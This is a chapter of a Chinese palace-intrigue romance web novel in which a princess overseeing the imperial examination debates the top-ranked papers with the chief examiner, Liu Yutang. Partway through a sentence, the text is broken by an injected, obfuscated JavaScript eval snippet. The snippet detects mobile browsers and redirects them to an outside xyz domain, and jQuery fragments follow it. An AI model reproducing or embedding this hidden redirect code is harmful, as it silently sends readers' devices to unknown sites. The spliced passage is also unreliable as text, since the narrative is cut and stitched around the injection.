午后的阳光被高窗上糊着的厚厚桑皮纸滤过，只余下朦胧的光晕，均匀地铺洒在偌大的静室之中。
考场静室条件艰苦，只有简陋的暖炉烧得正旺。空气中弥漫着浓重的墨香与新纸特有的草木清气，混杂着朱砂的微腥，构成一种独属于科举、独属于权力中枢的肃穆气息。
宋子雲端坐在宽大的紫檀书案后，身着象征监考官身份的、相对正式的绛紫色宫装常服，发髻一丝不苟，只簪一支点翠凤钗，通身不见丝毫慵懒。
她纤长的手指间正执着一管紫毫，笔尖饱蘸朱砂，在一份誊抄得工整如印刷体般的试卷上缓缓批阅圈点。四周静得落针可闻，只有笔尖划过纸面的细微沙沙声，以及偶尔翻阅卷宗时发出清脆得有些惊心的声响。
文吏们见高高在上的长公主殿下事事亲力亲为，已经一连几日忙碌在此，心中深感敬佩，竟破天荒地点起沉香。
宋子雲已经好几日无眠，沉香袅袅，让她的脑袋越来越沉重，她打了个哈欠，慢慢闭上眼，不知不觉中趴在案上。
自从迟绪离开长公主府之后，白暮非便也不知所踪。昨夜他叩响她府上的大门。宋之本欲打发他走，但他执意留在府门口，宋之担心别的考生看见议论，所以才把他请进了府。
“学生特来拜谢殿下。”
宋子雲透过屏风看不清白暮非的脸，她讥讽道，“拜谢？你我之间何来谢字？”
“谢殿下不杀之恩。”
宋子雲冷笑，“原来你知道啊。本宫还以为你不知。”
白暮非苦笑，跪在宋子雲面前，“散布殿下谣言是学生一人所为，不关他人之事，请殿下要罚就罚我一人。”
宋子雲一巴掌拍在桌上，“白暮非，你仗着有几分聪明就能把本宫当成傻瓜？是镇北王让你散布的谣言吧，目的有三，一，离间我与首辅的关系，其二，能借机讨好首辅，其三趁着秋闱拉拢新科进士。他这一石三鸟还真是高明。”
白暮非死死咬着下嘴唇，眼皮微微抖动，“学生知道殿下还在生气，故不敢前来请罪。今日只想来问一句。”
“你想问什么？”
“殿下曾许诺我若成了状元，是否能为殿下效力？”
“白暮非，你是不是脑子有病？你是迟绪的人，你以为你还能回公主府吗？”
白暮非早就料到宋子雲会有此问，“学生就是想来问问殿下，若是成了状元能不能再回公主府？”
……
宋子雲只听见一声门扉被推开的声音，越想越气，气得猛然抬头，才发现自己睡着了，左顾右盼才意识到自己身在何方。案前沉香燃尽，她长长舒了一口气，忽觉浑身并没有寒意，后背暖洋洋的，原来是身上披着一件玄色披风。
这件披风并非是她的，她放在鼻尖轻轻嗅了嗅，一股清新的书卷气扑鼻而来，不知是何人的。
宋子雲端起茶盏浅浅抿了一口想要问问是谁的披风，几名文吏垂首敛息，在稍远的几案前，同样以最恭谨的姿态誊抄着另一批试卷，连呼吸都刻意放轻。
一个清瘦挺拔的身影出现在至书案前三步远，“臣叩见殿下。”
宋子雲神情微滞，笔架上的朱笔滚落在纸上，饱满的朱砂印在了桌上。
她缓缓抬起眼睫，目光落在柳昱堂身上，声音不高，在寂静的室内却格外清晰，带着一丝不易察觉的柔和，“免礼，坐下再答话。”
柳昱堂一身簇新的青色官袍，衬得他面庞愈发白皙清俊，带着书生特有的锐气与书卷气，让宋子雲眼前一亮。
静室之中本就光线不明，在昏暗的灯光之下，柳昱堂侧身站立，鼻梁眼角还真是有几分楚墨珣的影子。
柳昱堂轻轻咳嗽了一声，目不斜视，“殿下，这些是整理誊录完毕的优等卷宗。”
宋子雲微微颔首，少了几分平日里惯有的疏离的威仪，而是多了一丝沉静的暖意，如同那透过桑皮纸的光，朦胧却真实。
柳昱堂端端正正地坐下，脊背挺直如松，双手规规矩矩地放在膝上，目光低垂，只落在面前一小块光洁的青砖地面上，恪守着最严苛的君臣之礼。
宋子雲放下手中的朱笔，笔尖上那滴朱砂终于落下，在试卷边缘洇开一小点刺目的红，如同一个突兀的印记。
她的指尖无意识地捻过一份誊抄得极其工整、字迹清雅隽永的试卷，室内再次陷入沉静，只有墨香无声流淌。
良久，她才开口，声音依旧平静。
“前几日，”她顿了顿，目光落在柳昱堂低垂的眼睫上，“朝堂之上，多谢忠烈公仗义执言，为本宫辩白。那份……公道之心，”她斟酌着用词，每个字都清晰而郑重，“本宫，记得。”
滴漏里的细沙在一缕一缕缓缓滴下，轻微到几乎不可能听见的声音却密密麻麻滴在柳昱堂心上，他放在膝上的手几不可察地蜷缩了一下，依旧保持着低头的姿势，声音平稳，“殿下言重。臣当时所言句句属实。御史风闻奏事，然无凭无据便污蔑殿下清誉，非但于礼不合，更悖朝廷法度。臣蒙圣恩，更当秉持公心，据理力争。此乃臣做主考官的本分，不敢当殿下感谢二字。”
洋洋洒洒说了一大段，都是宋子雲平日里最烦的话，但不知为何瞧着他紧绷的下颌线和那套崭新的官袍忽地笑了起来。
“好一个本分。”她轻轻重复了一遍，指尖在那份誊抄好的状元卷上轻轻划过，“多谢柳大人的本分。你我之前的……那些不愉快，本宫也在此赔个不是。”
“我深知柳大人心有沟壑，是朝廷栋梁之材，之前之事虽然我已不记得大半，但肯定是多有冒犯之处，还望柳大人不再介怀。你我就此两清。”
两清？
柳昱堂身体似乎更僵硬了一瞬，两清是何意？他心思极快，又是翰林院最年轻的状元，却来不及思索这两清之意。两清，是从此……与她……毫无关系吗？在她痛骂自己之后，她在秦王府上不识好歹之后……在她那般激励学子之后……她的每一句话都像噩梦日日夜夜缠绕着自己，她却说两清？
“柳大人？你有听见吗？”
柳昱堂双眸一抬撞入宋子雲那美若桃花的眼中，他从不苟言笑，眉目清明如同一块温润的玉，可他却在此时嘴角抬起笑了一瞬来掩盖心中的焦灼，他再次躬身，“殿下谬赞，臣惶恐。唯尽心竭力，不负皇恩，不负所学。”
“嗯。”
宋子雲微微颔首，没有再继续这个话题，点到即止的感谢与欣赏，已足够传达她的心意。她将那份状元卷轻轻推到一旁，指向旁边一摞已经誊抄完毕、等待分类归档的优等卷宗。
“这些卷子本宫阅毕，皆是此次春闱的菁华，柳大人以为如何？”
柳昱堂接过卷子，掌中却已多汗，“臣也觉得这几位学生的策论属上乘。”
“那便烦请柳大人为本宫整理归档，务必妥帖。”她的语气恢复了监考官的庄重，仿佛刚才那段短暂的对话从未发生。
“臣遵旨。”柳昱堂立刻起身深深一揖，动作流畅自然，仿佛卸下了一丝无形的重担。只是他目光快速而恭谨地扫过宋子雲的面容，又迅速垂下。
“只是这三甲人选，柳大人以为如何？”
三甲？那个白暮非吗？
柳昱堂心中一沉。
静室内的光线愈发昏沉，数盏琉璃宫灯将书案周围映照得亮如白昼，更显得远处角落的誊抄文吏们身影模糊。空气中墨香与纸香依旧，却因这明亮与昏暗的交界，平添了几分凝滞的紧绷感。
柳昱堂沉吟半晌，目光落在这几份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781403|168543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
誊抄的纸张之上，其中一份极为华美、字字珠玑的试卷正是白暮非的策论，“殿下，臣以为白暮非的策论文采斐然，引经据典如行云流水，卷面上确有几处精妙论述。”
宋子雲一瞬不瞬地看着他，替他说道，“但是。”
柳昱堂目光清亮，没有先前的紧张，眼下却心绪繁乱，“关于白暮非这份策论，臣有几点管窥之见，不知当讲不当讲？”
“你是秋闱的主考官，是天下读书人的楷模，你最有资格说。”
柳昱堂微微吸了口气，拿起那份誊抄卷，走到宋子雲书案侧，又犹豫地近前半步，
“殿下请看此处，白暮非引《周礼》为据，立意高远，确有其磅礴之处。”他先肯定了优点，随即话锋一转，语气变得冷静而锐利，“然则，礼乐教化在州县推行之难，乡野百姓因繁文缛节所增之负累，亦未论及如何因时制宜，化繁为简，使其真正深入民心，而非徒具虚文。此为其一，失之于空疏。”
“其二，此处关于如今朝中局势，他忽视了边镇实情。如今边陲时有摩擦，怀柔固然是上策，但若无强兵精甲为后盾，无稳固边陲、屯田实边之具体方略相辅佐，此论失之于迂阔，不切实际。”
他停顿了一下，目光飞快地扫过宋子雲平静无波的面容，又落到卷子上，指着最后一段歌功颂德的华丽结语，“其三，通篇策论，少了一份为国为民的切肤之痛与拳拳赤诚。臣以为策论乃为国选材，非为遴选词臣。状元之位，更需经世致用之才，而非只擅清谈风月之辈。”
柳昱堂的语调微微下沉，带着一种近乎刻薄的尖锐。说完他似乎也意识到自己言辞可能过于激烈，目光扫过宋子雲的脸，“臣知殿下与他关系匪浅，但臣是秋闱主考官，有些意见不吐不快。若是殿下执意要选他为状元，臣也会这般说。”
宋子雲问道，“白暮非如此才华，学子间也是人人皆知的事，你却不选他做状元，你就不怕别人说你公报私仇？”
柳昱堂抬起头，身如松柏挺得笔直，眼中那点亮光迅速黯淡下去，取而代之的是一丝复杂的情愫，夹杂着失望愤怒甚至不干，“殿下，这是秋闱，事关天下学子，事关朝廷选拔栋梁，吾岂能为吾一己私欲断送学子的前程！殿下是在侮辱我还是在侮辱你自己？”
静室内一片死寂。只有宫灯烛火偶尔发出轻微的噼啪声。远处的文吏将头低得更低。
柳昱堂不敢看宋子雲，垂目盯着那张卷子，耳边忽然听得一声轻笑。
“殿下笑什么？”
“敢问主考官，何人当入三甲？”
柳昱堂清俊的面庞因方才的激昂论述而微微泛红，眼神明亮，眉眼舒展，看得极其专注，“臣以为白暮非确能入三甲，但当不上状元。这是臣选定的名单，请殿下过目。”
宋子雲未接，淡淡道，“既然主考官定下来，本宫就不看了，来人，将三甲的卷子与名册直接送入宫内呈给陛下，让陛下定夺三甲人选。”
柳昱堂目色一亮，毫不避讳地看向宋子雲那张美艳而不自知的脸，心跳漏了半拍，转瞬之间又如同打了一片惊雷，“殿下……殿……这是何意？大渊律例，秋闱三甲名单要主审官亲自过目之后方可交由陛下定夺，你……殿下……”
“论才学在场的谁能比得上忠烈公呢，我作为主审官不过就是做个运送工，将名单送到内阁，再让陛下定夺。”
“殿下不改了？”
“你的眼光与直言，本宫向来欣赏。今日之议，足见你心系国事，持论公正。”
“臣遵旨。”柳昱堂的声音有些干涩，他深深一揖，动作略显僵硬。
他心虚地接过名单，只有他心里清楚，今日直言也并非绝对公正，他存了私心，这点私心就如同媚药让他不能自拔。